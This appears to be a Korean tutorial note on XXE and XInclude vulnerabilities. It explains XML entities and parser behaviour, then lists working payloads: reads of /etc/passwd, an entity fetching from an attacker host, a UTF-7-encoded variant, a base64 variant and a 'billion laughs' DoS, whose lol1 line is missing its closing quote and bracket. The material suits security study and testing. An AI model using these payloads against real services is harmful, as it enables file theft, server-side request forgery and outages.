Home
System Hacking
🪜

XXE(XML External Entity)와 XInclud 기법

Type
기법
TIME
2022/01/11 16:09
분야
XXE
1 more property

XXE(XML External Entity)

🪜
XML 외부 Entity 처리가 가능하게 설정된 경우 발생하는 취약점
XXE는 XML External Entity 공격이며, 해당 공격은 XML을 입력으로 받는 서비스에서 발생할 수 있습니다.
이 공격은 XML의 외부 entity를 참조하는 과정에서 발생하거나 취약한 XML Parser에서 발생합니다.
해당 공격을 통해서 접근할 수 없는 데이터에 접근하거나 DoS(Denial Of Service), SSRF(Server Side Request Forgery), Port Scan과 같은 공격을 시도할 수 있습니다.

XML Entity

XML Entity는 5개가 미리 정의되어 있습니다.
위와 같은 다섯 개의 Entity 이외 Entity는 사전에 DTD에서 선언해야 합니다.
🚪
외부 Entity란? 문서 외부에 존재하는 외부 Entity는 file, html 등이 될 수 있으며 외부에 파일을 불러옵니다. 해당 기능은 SYSTEM Keyword를 사용하여 선언할 수 있습니다.

syntax

<!ENTITY 엔티티이름 SYSTEM "URI또는URL">
XML
복사

example

<!ENTITY passwd SYSTEM "file:///etc/passwd">
XML
복사

XML Parameter Entity

DTD 문서에서만 사용하기 위해 선언한 Entity를 Parameter Entity라고 합니다.

syntax

<!ENTITY %엔티티이름 "엔티티값">
XML
복사

example

<!ENTITY %test "test1, test2, test3, test4">
XML
복사

XInclude

XInlcude는 XML내 다른 문서를 포함하도록하는 기술이며 해당 기술을 통하여 XML File 혹은 XML File이 아닌 텍스트 파일의 데이터를 통합할 수 있습니다.

syntax

<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="파일 이름"/> </foo>
XML
복사

example

<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="test.txt"/> </foo>
XML
복사

XXE Processing

1.
Application은 XML을 파싱합니다.
2.
공격자가 입력한 XML는 DTD(Document Type Definition) 내 Entity의 SYSTEM을 허용합니다.
3.
XML 파서는 DTD의 유효성을 검사합니다.
4.
XML 파서가 DTD 내의 외부 Entity를 참조하고 처리합니다.

XXE Payload

Local File Access

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo>
XML
복사

Web Request

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" > ]> <foo>&xxe;</foo>
XML
복사

XInclude Local File Access

<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/> </foo>
XML
복사

DoS

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol; <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> <tag>&lol9;</tag>
XML
복사

UTF-7 Encoding

<?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
XML
복사

Base64 Encoding

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
XML
복사
더 다양한 Payload를 확인하고 싶으면 아래의 링크를 클릭해주세요

Reference